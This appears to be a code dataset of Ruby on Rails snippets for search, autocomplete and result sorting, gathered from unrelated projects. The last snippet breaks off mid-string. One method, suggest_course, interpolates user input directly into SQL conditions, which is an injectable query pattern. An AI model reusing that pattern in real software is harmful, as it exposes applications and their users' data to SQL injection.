"def auto_complete_for_recipeSearch_description\n criteria = '%' + params[:recipeSearch][:description] + '%'\n @recipes = Recipe.find(:all, \n :conditions=>[\"title like ? OR description like ?\",criteria, criteria],\n :order=>'title desc', :limit=>10)\n render :partial=> \"recipes\" \n end",
"def sorted_results(unsorted)\n scores = []\n sorted = []\n\n unsorted.group_by(&:itself).each_pair do |result, results|\n relevance = result_relevance(result, results.length)\n new_index = scores.bsearch_index { |val| val < relevance }\n # if this result has the lowest score, add it to the end\n new_index ||= -1 \n\n scores.insert(new_index, relevance)\n sorted.insert(new_index, result.first)\n end\n sorted\n end",
"def sort_results(results)\n case @metadata[:sort]\n when \"new\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, -c.release_date_i, c.default_sort_index]\n end\n when \"old\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, c.release_date_i, c.default_sort_index]\n end\n when \"newall\"\n results.sort_by do |c|\n [-c.release_date_i, c.default_sort_index]\n end\n when \"oldall\"\n results.sort_by do |c|\n [c.release_date_i, c.default_sort_index]\n end\n when \"cmc\"\n results.sort_by do |c|\n [c.cmc ? 0 : 1, -c.cmc.to_i, c.default_sort_index]\n end\n when \"pow\"\n results.sort_by do |c|\n [c.power ? 0 : 1, -c.power.to_i, c.default_sort_index]\n end\n when \"tou\"\n results.sort_by do |c|\n [c.toughness ? 0 : 1, -c.toughness.to_i, c.default_sort_index]\n end\n when \"rand\"\n results.sort_by do |c|\n [Digest::MD5.hexdigest(@query_string + c.name), c.default_sort_index]\n end\n when \"number\"\n results.sort_by do |c|\n [c.set.name, c.number.to_i, c.number, c.default_sort_index]\n end\n when \"color\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.colors), c.default_sort_index]\n end\n when \"ci\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.color_identity), c.default_sort_index]\n end\n when \"rarity\"\n results.sort_by do |c|\n [-c.rarity_code, c.default_sort_index]\n end\n else # \"name\" or unknown key\n results.sort_by(&:default_sort_index)\n end\n end",
"def init_results_for_search\n # try to find asqs and tags that match search string\n search_string = params[:search].downcase\n @title = \"Search for \\\"#{params[:search]}\\\"\"\n @matched_names = search_asqs_by_column('name', search_string)\n @matched_queries = search_asqs_by_column('query', search_string)\n @matched_tags = Asq.tagged_with(search_string.split(' '), wild: true)\n @matched_creator = Asq.where(created_by: search_string)\n @matched_modifier = Asq.where(modified_by: search_string)\n sort_matched_arrays\n redirect_if_single_result\n end",
"def ras\n @ras = Person.find(:all, :conditions => {:position => 'Research Associate'})\n @ras.sort! {|a, b| a.last_name.upcase <=> b.last_name.upcase}\n \n respond_to do |format|\n format.html # ras.html.erb\n format.xml { render :xml => nil }\n end\n end",
"def search_ranked\n render json: Article.with_ranked_terms(params[:query]).map(&:title)\n end",
"def sorted_results\n results.sort\n end",
"def listAuthors\n @items = Author.all(:conditions => [\"name LIKE ?\", params[:query].downcase + '%' ], \n :order => :name,\n :select => :name)\n @items += Author.all(:conditions => [\"name LIKE ?\", '%' + params[:query].downcase + '%'],\n :order => :name,\n :select => :name)\n render :text => @items.collect { |x| x.name }.uniq.join(\"\\n\") \n end",
"def suggest_other_query(items, query)\n query = query.gsub(/_/,\" \").downcase\n\n distance_levenshtein = 100\n longest_subseq = 0\n word = \"\"\n\n matcher1 = Amatch::Levenshtein.new(query)\n matcher2 = Amatch::LongestSubsequence.new(query)\n\n items.each{ |item|\n name_array = item.name.downcase.split\n name_array.push(item.name.downcase)\n\n new_distance_array_levenshtein = matcher1.match(name_array).sort\n new_longest_subseq_array = matcher2.match(name_array).sort.reverse\n\n if new_distance_array_levenshtein[0] < distance_levenshtein and new_longest_subseq_array[0] >= longest_subseq\n word = item.name\n distance_levenshtein = new_distance_array_levenshtein[0]\n longest_subseq = new_longest_subseq_array[0]\n end\n\n }\n\n if distance_levenshtein <= 3 and longest_subseq >=2\n self.closest_string = word\n end\n\n end",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = TypeClient.ransack(params[:q]) \n @query.name_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @type_clients = @results \n end",
"def users\n matches = User.where(\"LOWER(name) LIKE ?\", \"%#{@query}%\").limit(10)\n @users = matches.sort_by { |user| SearchScore.name(user.name, @query) }\n\n render \"users\"\n end",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = Supplier.ransack(params[:q]) \n @query.num_doc_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @suppliers = @results \n end",
"def search\n @profiles=Profile.search(params[:search]).sort_by {|profile|profile.username}\n end",
"def unite (results_list)\n union_hits = self.all | results_list.all\n keywords = used_keywords | results_list.used_keywords\n \n ResultsList.new(union_hits, keywords.uniq)\n end",
"def review_results_by_role_name\n self.design_review_results.sort_by { |rr| rr.role.display_name }\n end",
"def suggestions\n suggest(search_suggestions)\n end",
"def reify_results(ids)\n results = []\n \n ids_hash = {}\n ids.each do |class_name, id|\n (ids_hash[class_name] ||= []) << id\n end\n \n ids.map {|ary| ary.first}.uniq.each do |class_name|\n klass = class_name.constantize\n \n finder = (\n Ultrasphinx::Search.client_options['finder_methods'].detect do |method_name| \n klass.respond_to? method_name\n end or\n # XXX This default is kind of buried, but I'm not sure why you would need it to be \n # configurable, since you can use ['finder_methods'].\n \"find_all_by_#{klass.primary_key}\"\n )\n\n records = klass.send(finder, ids_hash[class_name])\n \n unless Ultrasphinx::Search.client_options['ignore_missing_records']\n if records.size != ids_hash[class_name].size\n missed_ids = ids_hash[class_name] - records.map(&:id)\n msg = if missed_ids.size == 1\n \"Couldn't find #{class_name} with ID=#{missed_ids.first}\"\n else\n \"Couldn't find #{class_name.pluralize} with IDs: #{missed_ids.join(',')} (found #{records.size} results, but was looking for #{ids_hash[class_name].size})\"\n end\n raise ActiveRecord::RecordNotFound, msg\n end\n end\n \n records.each do |record|\n results[ids.index([class_name, record.id])] = record\n end\n end\n \n # Add an accessor for global search rank for each record, if requested\n if self.class.client_options['with_global_rank']\n # XXX Nobody uses this\n results.each_with_index do |result, index|\n if result\n global_index = per_page * (current_page - 1) + index\n result.instance_variable_get('@attributes')['result_index'] = global_index\n end\n end\n end\n\n # Add an accessor for distance, if requested\n if self.options['location']['lat'] and self.options['location']['long']\n results.each_with_index do |result, index|\n if result\n distance = (response[:matches][index][:attributes]['@geodist'] or INFINITY)\n result.instance_variable_get('@attributes')['distance'] = distance\n end\n end\n end\n \n results.compact!\n \n if ids.size - results.size > Ultrasphinx::Search.client_options['max_missing_records']\n # Never reached if Ultrasphinx::Search.client_options['ignore_missing_records'] is false due to raise\n raise ConfigurationError, \"Too many results for this query returned ActiveRecord::RecordNotFound. The index is probably out of date\" \n end\n \n results \n end",
"def sorted_matches_for(str, options = {})\n matches = super(str, options.merge(:sort => false))\n\n # Take current buffer (by definition, the most recently used) and move it\n # to the end of the results.\n if MRU.last &&\n relative_path_under_working_directory(\n ::VIM.evaluate(\"bufname(#{MRU.last})\")\n ) == matches.first\n matches[1..-1] + [matches.first]\n else\n matches\n end\n end",
"def restaurant_suggestions\n match_key = Riddle.escape(params[:key]).split(' ').join('* ') + '*'\n begin\n suggestions = Restaurant.search(match_key,{:limit=>20,:match_mode => :extended,\n :ignore_errors=>true,:populate=>true,:retry_stale=>true})\n rescue Exception\n suggestions = []\n end\n response = []\n suggestions.each{|d| response << {:value=>d.id,:label=>d.name}}\n render :json=>response.to_json\n end",
"def sort_panes results, display_type, max_scores\n\n #remove wcl before it tries to sort it and fails\n @wcl = results.delete('worldcat')\n #Rails.logger.debug(\"#{__FILE__}:#{__LINE__} results= #{@results.inspect}\")\n #Rails.logger.debug(\"#{__FILE__}:#{__LINE__} requesthost= #{request.host.inspect}\")\n # @catalog_host = get_catalog_host(request.host)\n # Rails.logger.debug(\"#{__FILE__}:#{__LINE__} @catalog_host= #{@catalog_host.inspect}\")\n top1 = top4 = secondary = []\n\n # Sort formats alphabetically for more results\n more = results.sort_by { |key, result| BentoSearch.get_engine(key).configuration.title }\n\n # Remove articles and digital collections from top 4 logic\n @summonArticles = results.delete('summonArticles')\n @digitalCollections = results.delete('digitalCollections')\n @institutionalRepositories = results.delete('institutionalRepositories')\n @libguides = results.delete('libguides')\n # Top 2 are books and articles, regardless of display_type\n #jgr25 top1 << ['summon_bento', results.delete('summon_bento')]\n top1 << ['ebsco_eds', results.delete('ebsco_eds')]\n top4 = top1\n\n if display_type == 'fixed'\n # Pre-populate top4 with our chosen formats and remove them from the results\n top4 << ['Journal', results.delete('Journal')]\n top4 << ['Database', results.delete('Database')]\n end\n\n # Sort the remaining format results by total number of hits\n #results = results.sort_by { |key, result| result.total_items.to_i }\n\n # Sort the remaining format results by max relevancy score\n results = results.sort_by { |key, result| max_scores[key] }\n results = results.reverse\n\n\n if display_type == 'dynamic'\n # Take top2 plus the next 2 formats with the highest result counts\n results.to(2).each do |result|\n top4 << result\n end\n secondary = results.from(3)\n else\n # We already took the top four before sorting\n secondary = results\n end\n\n return top4, secondary, more, @websites, @wcl\n end",
"def facet_solr_results unfaceted_results\n\n groups = unfaceted_results\n max_relevancy_scores = {}\n output = {}\n\n\n groups.each do |g|\n # Each group is a format, e.g., Book\n bento_set = BentoSearch::Results.new\n bento_set.total_items = g['doclist']['numFound']\n docs = g['doclist']['docs']\n # Iterate through each book search result and create a ResultItem for it.\n docs.each do |d|\n\n item = BentoSearch::ResultItem.new\n if d['fulltitle_vern_display'].present?\n item.title = d['fulltitle_vern_display'] + ' / ' + d['fulltitle_display']\n else\n item.title = d['fulltitle_display']\n end\n [d['author_display']].each do |a|\n next if a.nil?\n # author_display comes in as a combined name and date with a pipe-delimited display name.\n # bento_search does some slightly odd things to author strings in order to display them,\n # so the raw string coming out of *our* display value turns into nonsense by default\n # Telling to create a new Author with an explicit 'display' value seems to work.\n item.authors << BentoSearch::Author.new({:display => a})\n end\n if d['pub_info_display']\n item.publisher = d['pub_info_display'][0]\n end\n if d['pub_date_display']\n item.year = d['pub_date_display'][0].to_s\n item.year.tr!('[]','')\n end\n #item.link = \"http://\" + @catalog_host + \"/catalog/#{d['id']}\"\n item.unique_id = \"#{d['id']}\"\n item.link = \"/catalog/#{d['id']}\"\n item.custom_data = {\n 'url_online_access' => helpers.access_url_single(d),\n 'availability_json' => d['availability_json'],\n }\n\n item.format = d['format']\n bento_set << item\n\n # The first search result should have the maximum relevancy score. Save this for later\n max_relevancy_scores[g['groupValue']] ||= d['score']\n end\n\n output[g['groupValue']] = bento_set\n end\n\n return output, max_relevancy_scores\n\n end",
"def reorder(results, solr_data, options = {})\n return results if options[:find] && options[:find][:order]\n returned_results = []\n solr_data.docs.each_with_index do |doc, index|\n doc_id = doc[\"#{solr_configuration[:primary_key_field]}\"]\n returned_results[index] = results.detect { |i| i.id == doc_id }\n end\n returned_results\n end",
"def index\n @search = Inspector.ransack(params[:q])\n @inspectors = @search.result(distinct: true).sorted\n end",
"def bubble_up_exact_matches(affil_list:, term:)\n matches_at_beginning = []\n matches_within = []\n other_items = []\n match_term = term.downcase\n affil_list.each do |affil_item|\n name = affil_item[:name].downcase\n if name.start_with?(match_term)\n matches_at_beginning << affil_item\n elsif name.include?(match_term)\n matches_within << affil_item\n else\n other_items << affil_item\n end\n end\n matches_at_beginning + matches_within + other_items\n end",
"def prepare_suggested_searches\n @suggested_searches = [\n # { label_key: 'search_suggestion_whale_mass',\n # params: {\n # sort: 'desc',\n # min: 10000,\n # taxon_concept_id: 7649,\n # attribute: 'http://purl.obolibrary.org/obo/VT_0001259',\n # unit: 'http://purl.obolibrary.org/obo/UO_0000009' }},\n # { label_key: 'search_suggestion_cavity_nests',\n # params: {\n # q: 'cavity',\n # attribute: 'http://eol.org/schema/terms/NestType' }},\n { label_key: 'search_suggestion_diatom_shape',\n params: {\n attribute: 'http://purl.obolibrary.org/obo/OBA_0000052',\n taxon_concept_id: 3685 }} #,\n # { label_key: 'search_suggestion_blue_flowers',\n # params: {\n # q: 'http://purl.obolibrary.org/obo/PATO_0000318',\n # attribute: 'http://purl.obolibrary.org/obo/TO_0000537' }}\n ]\n end",
"def results\n # @search_result = Recipe.where(\"name like ?\", \"%#{params[:search]}%\")\n\n @search_result = Recipe.joins(:food_items).joins(:directions).where(\"food_items.name ILIKE ? OR recipes.name ILIKE ? OR directions.instruction ILIKE ?\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\").distinct\n \n end",
"def search\n @search ||= exhibit.searches.first\n # @searches ||= exhibit.searches.published.where(slug: item_ids).sort do |a, b|\n # order.index(a.slug) <=> order.index(b.slug)\n # end\n end",
"def auto_complete\n @query = params[:auto_complete_query]\n @auto_complete = self.controller_name.classify.constantize.scoped(:limit => 10).search(@query)\n render :template => \"common/auto_complete\", :layout => nil\n end",
"def auto_complete_model_for_person_fullname\n @result = Person.non_student.find_all{|p| p.fullname.downcase.include?(params[:person][:fullname].downcase)}[0..10]\n render :partial => \"auto_complete\", :object => @result, :locals => { :highlight_phrase => params[:person][:fullname] }\n end",
"def or_text_match(column, search)\n column = \"#{column.to_s}_search_index\".to_sym\n self.or(':column @@ plainto_tsquery(:search)', :column => column, :search => search)\n .order_append(Sequel.function(:ts_rank, column, Sequel.function(:plainto_tsquery, search)).desc)\n end",
"def suggest_course \r\n school = School.find(params[:nid]) rescue render_return \r\n render_return unless logged_in_user.see_course?(school)\r\n course_name = params[:cn] || \"\"\r\n render_return if course_name.size < 4\r\n \r\n course_number = []\r\n name_or_subject = []\r\n (values = course_name.split(\" \")).each do |portion| \r\n if portion =~ /\\d+/\r\n course_number << portion\r\n else #if portion.size >= 3\r\n name_or_subject << portion \r\n end\r\n end\r\n course_number = course_number.join('')\r\n name_or_subject = name_or_subject.join('%') \r\n \r\n number_condition = course_number.size > 0 ? \"number LIKE '#{course_number}%'\" : \"true\"\r\n results = Course.find(:all,:limit=>10,:order=>\"CAST(number AS SIGNED) ASC\",\r\n :conditions=><<-eof \r\n school_id = #{school.id} AND status IN ('approved','pending') \r\n AND (subject_code LIKE '%#{name_or_subject}%' OR name LIKE '%#{name_or_subject}%') AND #{number_condition}\r\n eof\r\n ).map{|c| \r\n name = c.subject_code.gsub(/(#{name_or_subject})/i,'{\\1}') + \" \" + \r\n (course_number.size > 0 ? c.number.gsub(/(#{course_number})/i,'{\\1}') : c.number) + \r\n \" - \" + \r\n c.name.gsub(/(#{name_or_subject})/i,'{\\1}')\r\n {:name=>name,:id=>c.id}\r\n }\r\n render :text=>results.to_json\r\n end",
"def index\n @q = Author.search(params[:q])\n @authors = @q.result(distinct: true).paginate(:page => params[:page]).order('last_name ASC')\n end",
"def reOrderSuggestions(suggestions, maxDistance = 0.5)\n\t\t\tqueryText = getSearchRequest().getQuerytext()\n\t\t\tgroupNames = ['highlighted-beginning', 'highlighted-not-beginning', 'others']\n\t\t\tgroupValues = Hash.new\n\t\t\tk = 0\n\t\t\tgroupNames.each do |groupName|\n\t\t\t\tgroupValues[k] = Hash.new\n\t\t\t\tif(!suggestions.nil?)\n\t\t\t\t\tsuggestionGroup = Array.new\n\t\t\t\t\tsuggestions.each do |suggestion, suggestionText|\n\t\t\t\t\t\tif (suggestionIsInGroup(groupName, suggestionText))\n\t\t\t\t\t\t\tsuggestionGroup.push(suggestionText)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tgroupValues[k] = suggestionGroup\n\t\t\t\tend\n\t\t\t\tk +=1\n\t\t\tend\n\n\t\t\tfinal = Array.new\n\t\t\tgroupValues.each do |order, values|\n\t\t\t\tif !values.empty? && !values.nil?\n\t\t\t\t\tfinal.push(getRelevanceSuggestion(queryText, values, maxDistance))\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfinalValues = Array.new\n\t\t\tfinal.each do |elements|\n\t\t\t\tif(elements.length)\n\t\t\t\t\telements.each do |element|\n\t\t\t\t\t\telement.each do |suggestion|\n\t\t\t\t\t\t\tfinalValues.push(suggestion)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn finalValues\n\t\tend",
"def prepare(search_term:, records:)\n return [] unless search_term.present? && records.present? && records.is_a?(Array)\n\n array = []\n records.map do |rec|\n item = rec.is_a?(Org) ? OrgSelection::OrgToHashService.to_hash(org: rec) : rec\n array << evaluate(search_term: search_term, record: item)\n end\n sort(array: deduplicate(records: filter(array: array)))\n end",
"def index\n\n @search=params[:search]\n @sort=params[:sort]\n if @search\n @items=Item.where('breed LIKE ?','%'+@search)\n if @sort=='price_asc'\n @items=@items.order('price DESC')\n elsif @sort=='price_desc'\n @items=@items.order('price ASC')\n elsif @sort=='age_asc'\n @items=@items.order('age DESC')\n elsif @sort=='age_desc'\n @items=@items.order('age ASC')\n end\n if params[:sort]==nil\n @items = @items.order('created_at DESC')\n end\n if @sort== 'distance'\n @items = @items.order('created_at DESC')\n @items.each do |dog|\n @google=GoogleMapsAPI::DistanceMatrix.calculate([current_user.zip],[dog.zip],{:units=>'imperial'})\n dog.distance= @google.rows[0].elements[0].distance\n end\n @items=@items.sort{|a,b| a.distance.to_i <=> b.distance.to_i}\n end\n else\n if @sort=='price_asc'\n @items=Item.order('price DESC')\n elsif @sort=='price_desc'\n @items=Item.order('price ASC')\n elsif @sort=='age_asc'\n @items=Item.order('age DESC')\n elsif @sort=='age_desc'\n @items=Item.order('age ASC')\n end\n if params[:sort]==nil\n @items = Item.order('created_at DESC')\n end\n if @sort== 'distance'\n @items = Item.order('created_at DESC')\n @items.each do |dog|\n @google=GoogleMapsAPI::DistanceMatrix.calculate([current_user.zip],[dog.zip],{:units=>'imperial'})\n dog.distance= @google.rows[0].elements[0].distance\n end\n @items=@items.sort{|a,b| a.distance.to_i <=> b.distance.to_i}\n end\n end\n\n @items = @items.paginate(:page => params[:page])\n end",
"def search(ref)\n upcase_ref = ref.upcase\n @index.select do |i|\n RelatonBib.array(i[:pubid]).detect { |r| r.include? upcase_ref }\n end.sort_by { |r| r[:pubid].is_a?(Array) ? r[:pubid].min : r[:pubid] }\n end",
"def results_list\n res = competitors.active.to_a\n res.sort!{|a, b| a.sorting_overall_place <=> b.sorting_overall_place}\n end",
"def fetch_ror_matches(name:)\n return [] unless name.present?\n\n OrgSelection::SearchService.search_externally(search_term: name).select do |hash|\n # If the natural language processing score is <= 25 OR the\n # weight is less than 1 (starts with or includes the search term)\n hash.fetch(:score, 0) <= 25 && hash.fetch(:weight, 1) < 2\n end\n end",
"def index\n @people_organizations = PeopleOrganization.search(params[:search]).order(\"OrganizationName\")\n end",
"def complete_search\n if is_boolean? && !!@search_value != @search_value\n puts 'No result found'\n return\n end\n if NUMBER_TO_OBJECT_MAP[@object].column_names.include?(@search_term)\n results = NUMBER_TO_OBJECT_MAP[@object].where(\"#{@search_term}\" => @search_value)\n else\n results = NUMBER_TO_OBJECT_MAP[@object].joins(@search_term.to_sym).where(\"#{@search_term}\" => { value: @search_value })\n end\n \n if !results.empty?\n puts 'Result'\n puts '-------------'\n results.each do |result|\n result.render_object\n end\n else\n puts 'No result found'\n end\n results\n end",
"def sort_by\n session[:name_of_search] = nil\n\t\tif params['search'] && params['search']['result_sort']\n sort_param = params['search']['result_sort']\n\t\t\tsession[:search_sort_by] = sort_param\n\t\tend\n\t\tif params['search'] && params['search']['result_sort_direction']\n sort_param = params['search']['result_sort_direction']\n\t\t\tsession[:search_sort_by_direction] = sort_param\n\t\tend\n redirect_to :action => 'browse', :phrs => params[:phrs]\n\tend",
"def search\n @core_search.joins(:name_status)\n .select('max(name.id) id')\n .select('max(name.simple_name) simple_name')\n .select('max(name.full_name) full_name')\n .select('max(name.full_name_html) full_name_html')\n .select('tree_element.excluded')\n .select('max(name_status.id) name_status_id')\n .select('max(name_status.name) name_status_name_')\n .select('instance_type.misapplied')\n .select('instance_type.pro_parte')\n .select('max(names_instance.full_name) cross_referenced_full_name')\n .select('null cross_reference_misapplication_details')\n .select('max(names_instance.id) cross_referenced_full_name_id')\n .select('max(instance.id) instance_id')\n .select('max(citer_instances_instance.id) citers_instance_id')\n .select('max(tree_version_element.name_path) name_path')\n .select('null profile')\n .select('null synonyms')\n .select('true cross_reference')\n .select('max(names_instance.full_name_html) cross_ref_full_name_html')\n .select('instance_type.doubtful')\n .select('max(reference.citation) reference_citation')\n .group(main_group_by_columns)\n .limit(@parser.limit)\n .offset(@parser.offset)\n .order(' full_name ')\n end",
"def search_result_format(obj)\n search_results_keys.reduce({ }) do |result, key|\n result[key] = obj.send key\n result\n end\n=begin\n # Classes can override this to modify the results with additional\n # attributes. 'results' is an Array of Hashes of results that have\n # already been offset/limited/ordered.\n def search_results_map(results)\n # by default, don't do anything to results\n results\n end\n\n # Main callpoint: this should be exposed in routes\n def search\n\n # in autocomplete mode, look for exact match so we can prepend it\n # if we need to\n exact = params[:autocomplete].present? ? search_exact : []\n\n query = search_query\n total = query.count\n\n query = query.order(*search_results_order) if search_results_order\n query = query.offset(search_results_offset) if search_results_offset\n query = query.limit(search_results_limit) if search_results_limit\n\n objects = query\n # prepend the exact match only if it's not in the normal results\n if exact.length > 0 && !query.any? { |result| search_exact_match(result) }\n objects = exact + objects\n end\n\n count = objects.respond_to?(:count) ? objects.count : objects.length\n if count <= search_results_max\n objects = objects.map do |obj|\n search_result_format(obj)\n end\n\n objects = search_results_map(objects)\n\n respond_to do |format|\n format.json {\n render json: {\n limit: search_results_limit,\n offset: search_results_offset,\n total: total,\n results: objects,\n }\n }\n format.csv {\n headers = objects.first.keys\n formatter = Proc.new do |object|\n headers.map { |key| object[key] }\n end\n render csv: objects,\n filename: \"#{search_model_class.to_s.downcase.pluralize}.csv\",\n headers: headers,\n format: formatter\n }\n end\n else\n error_msg = \"Result set has #{count} records, cannot return more than #{search_results_max}\"\n respond_to do |format|\n format.json {\n render json: { error: error_msg }, status: :request_entity_too_large\n }\n format.csv {\n render status: :request_entity_too_large, content_type: \"text/html\", body: error_msg\n }\n end\n end\n end\n\n # Classes should override and return false to disable search_exact\n # behavior.\n def search_exact_enabled\n true\n end\n\n # Search for an exact match, which gets prepended to search results\n # list. This is so that autocomplete can show a result for an exact\n # match that may not appear in a search because it's too far down\n # the list.\n def search_exact\n exact = []\n search_term = params[:term] || \"\"\n if search_exact_enabled && search_term.length > 0\n exact = search_model_class.where(\"#{search_name_field} = ?\", search_term)\n end\n exact\n end\n\n # returns true if this result is an exact match for search performed\n def search_exact_match(result)\n result.send(search_name_field.to_s) == params[:term]\n end\n\n # A 'base' query returning all records, to which search criteria are\n # applied. Subclasses can override this in order to tack on an\n # #includes for better performance.\n def search_query_base\n search_model_class.all\n end\n\n # Classes should override or extend this if they need to search\n # differently. This should return an ActiveRecord query.\n # Offseting/limiting/ordering should NOT be done here, only\n # filtering.\n #\n # This implementation looks at the followin params:\n #\n # 'term' = splits it, and searches 'name' model field for its\n # parts. If any integers are present, it looks for them in the 'id'\n # model field.\n def search_query\n query = search_query_base\n search_term = params[:term]\n if search_term.present?\n search_term.split.each do |word|\n # look at ID column for integers\n if !SDBMSS::Util.int?(word)\n query = query.where(\"#{search_name_field} like ?\", \"%#{word}%\")\n else\n query = query.where(\"#{search_name_field} like ? or id = ?\", \"%#{word}%\", word.to_s)\n end\n end\n end\n query\n end\n=end\n end",
"def index\n #search query, check params for search then search by appropriate fields\n @q = Entry.all\n @author_id = params[:search][:author_id] if params[:search]\n @text = params[:search][:text] if params[:search]\n @q = Entry.search(@q, @text) if !@text.blank?\n @q = @q.where(author_id: params[:search][:author_id]) if !@author_id.blank?\n\n #final result and column toggle sort\n @entries = @q.paginate(:page => params[:page], :per_page => 30).includes(:author).order(sort_column + \" \" + sort_direction)\n end",
"def do_search\n @search_text = params[:q]\n\n # Doctoring for the view to find matches:\n @q = @search_text\n @q.chop! if params[:q] =~ /\\*$/\n @q = @q[1..-1] if params[:q] =~ /^\\*/\n\n # TODO: we'll want some whitelist filtering here later:\n # params[:q] = \"#{@q}*\" unless params[:q] =~ /\\*$/ or params[:q] =~ /^[-+]/ or params[:q] =~ /\\s/\n params[:q] = I18n.transliterate(params[:q]).downcase\n\n # TODO: This search suggestions block is large; extract.\n\n # First step (and, yes, this will be slow—we will optimize later), look for\n # search suggestions that match the query:\n words = params[:q].split # TODO: we might want to remove words with ^-\n # TODO: we might also want to remove stopwords e.g.: https://github.com/brenes/stopwords-filter\n suggestions = []\n # YUCK! This is the best way to do this in Searchkick at the moment, though.\n # :S\n words.each do |word|\n word_search = SearchSuggestion.search(word, fields: [{ match: :exact }])\n suggestions += word_search.results if word_search.respond_to?(:results)\n end\n\n # If we only found one thing and they only asked for one thing:\n if suggestions.size == 1 && params[:q] !~ /\\s/\n Rails.logger.warn(\"One suggestion.\")\n # TODO: move this to a helper? It can't go on the model...\n suggestion = suggestions.first\n suggestion = suggestion.synonym_of if suggestion.synonym_of\n where = case suggestion.type\n when :page\n suggestion.page\n when :object_term\n term_records_path(uri: suggestion.object_term, object: true)\n when :path\n suggestion.path\n when :wkt_string\n flash[:notice] = \"Unimplemented, sorry.\"\n \"/\"\n end\n return redirect_to(where)\n elsif suggestions.size >= 2 && params[:q] =~ /\\s/\n Rails.logger.warn(\"Multiple suggestions.\")\n groups = suggestions.group_by(&:type)\n # Easier to handle:\n groups[:page] ||= []\n groups[:object_term] ||= []\n groups[:path] ||= []\n groups[:wkt_string] ||= []\n if groups[:page].size > 1\n Rails.logger.warn(\"Multiple PAGE suggestions.\")\n # We can't use suggestions if there's more than one species. Sorry.\n flash[:notice] = t(\"search.flash.more_than_one_species\",\n species: groups[:page].map(&:match).to_sentence)\n else\n Rails.logger.warn(\"0 or 1 Page suggestions.\")\n clade = groups[:page].try(:first).try(:page_id)\n Rails.logger.warn(\"Page suggestion: #{clade}\") if clade\n if groups[:object_term].size > 2\n Rails.logger.warn(\"Over two TERM suggestions.\")\n flash[:notice] = t(\"search.flash.more_than_two_terms\",\n terms: groups[:object_term].map(&:match).to_sentence)\n elsif groups[:path].size > 0\n Rails.logger.warn(\"...had PATH suggestions.\")\n flash[:notice] = t(\"search.flash.cannot_combine_paths\",\n path: groups[:path].map(&:match).to_sentence)\n else # NOTE: this assumes we only have OBJECT term suggestions, not predicates.\n Rails.logger.warn(\"Usable suggestions...\")\n (first, second) = groups[:object_term] # Arbitrary which is first...\n Rails.logger.warn(\"First term: #{first.object_term}\")\n Rails.logger.warn(\"Second term: #{second.object_term}\") if second\n return redirect_to(term_records_path(uri: first.object_term, object: true,\n and_object: second.try(:object_term), clade: clade))\n end\n end\n end\n\n @clade = if params[:clade]\n puts \"*\" * 100\n puts \"** Filtering by clade #{params[:clade]}\"\n # It doesn't make sense to filter some things by clade:\n params[:only] = if params[:only]\n Array(params[:only]) - [:collections, :users, :predicates, :object_terms]\n else\n [:pages, :media]\n end\n puts \"Only param should now be: #{params[:only]}\"\n Page.find(params[:clade])\n else\n nil\n end\n\n default = params.has_key?(:only)? false : true\n @types = {}\n [ :pages, :collections, :articles, :images, :videos, :videos, :sounds, :links, :users, :predicates, :object_terms ].\n each do |sym|\n @types[sym] = default\n end\n\n @types[params[:only].to_sym] = true if params.has_key?(:only)\n\n # if params.has_key?(:only)\n # Array(params[:only]).each { |type| @types[type.to_sym] = true }\n # elsif params.has_key?(:except)\n # Array(params[:except]).each { |type| @types[type.to_sym] = false }\n # end\n\n # NOTE: no search is performed unless the @types hash indicates a search for\n # that class is required:\n\n @pages = if @types[:pages]\n fields = %w[preferred_vernacular_strings^20 vernacular_strings^20 preferred_scientific_names^10 scientific_name^10 synonyms^10 providers resource_pks]\n match = words.size == 1 ? :text_start : :phrase\n basic_search(Page, boost_by: [:page_richness, :specificity, :depth], match: match, fields: fields,\n where: @clade ? { ancestry_ids: @clade.id } : nil,\n includes: [:preferred_vernaculars, :medium, { native_node: { node_ancestors: :ancestor } }])\n else\n nil\n end\n\n\n @collections = if @types[:collections]\n basic_search(Collection, fields: [\"name^5\", \"description\"])\n else\n nil\n end\n\n @articles = if @types[:articles]\n basic_search(Searchkick,\n fields: [\"name^5\", \"resource_pk^10\", \"owner\", \"description^2\"],\n where: @clade ? { ancestry_ids: @clade.id } : nil,\n index_name: [Article])\n else\n nil\n end\n\n @images = if @types[:images]\n media_search(\"image\")\n else\n nil\n end\n\n @videos = if @types[:videos]\n media_search(\"video\")\n else\n nil\n end\n\n @sounds = if @types[:sounds]\n media_search(\"sound\")\n else\n nil\n end\n\n # @links = if @types[:links]\n # basic_search(Searchkick,\n # fields: [\"name^5\", \"resource_pk^10\", \"owner\", \"description^2\"],\n # where: @clade ? { ancestry_ids: @clade.id } : nil,\n # index_name: [Link])\n # else\n # nil\n # end\n\n @users = if @types[:users]\n basic_search(User, fields: [\"username^6\", \"name^4\", \"tag_line\", \"bio^2\"])\n else\n nil\n end\n\n Searchkick.multi_search([@pages, @articles, @images, @videos, @sounds, @collections, @users].compact)\n\n @pages = PageSearchDecorator.decorate_collection(@pages) if @pages\n @articles = ArticleSearchDecorator.decorate_collection(@articles) if @articles\n @images = ImageSearchDecorator.decorate_collection(@images) if @images\n @videos = VideoSearchDecorator.decorate_collection(@videos) if @videos\n @sounds = SoundSearchDecorator.decorate_collection(@sounds) if @sounds\n @collections = CollectionSearchDecorator.decorate_collection(@collections) if @collections\n @users = UserSearchDecorator.decorate_collection(@users) if @users\n\n # if @types[:predicates]\n # @predicates_count = TraitBank.count_predicate_terms(@q)\n # # NOTE we use @q here because it has no wildcard.\n # @predicates = Kaminari.paginate_array(\n # TraitBank.search_predicate_terms(@q, params[:page], params[:per_page]),\n # total_count: 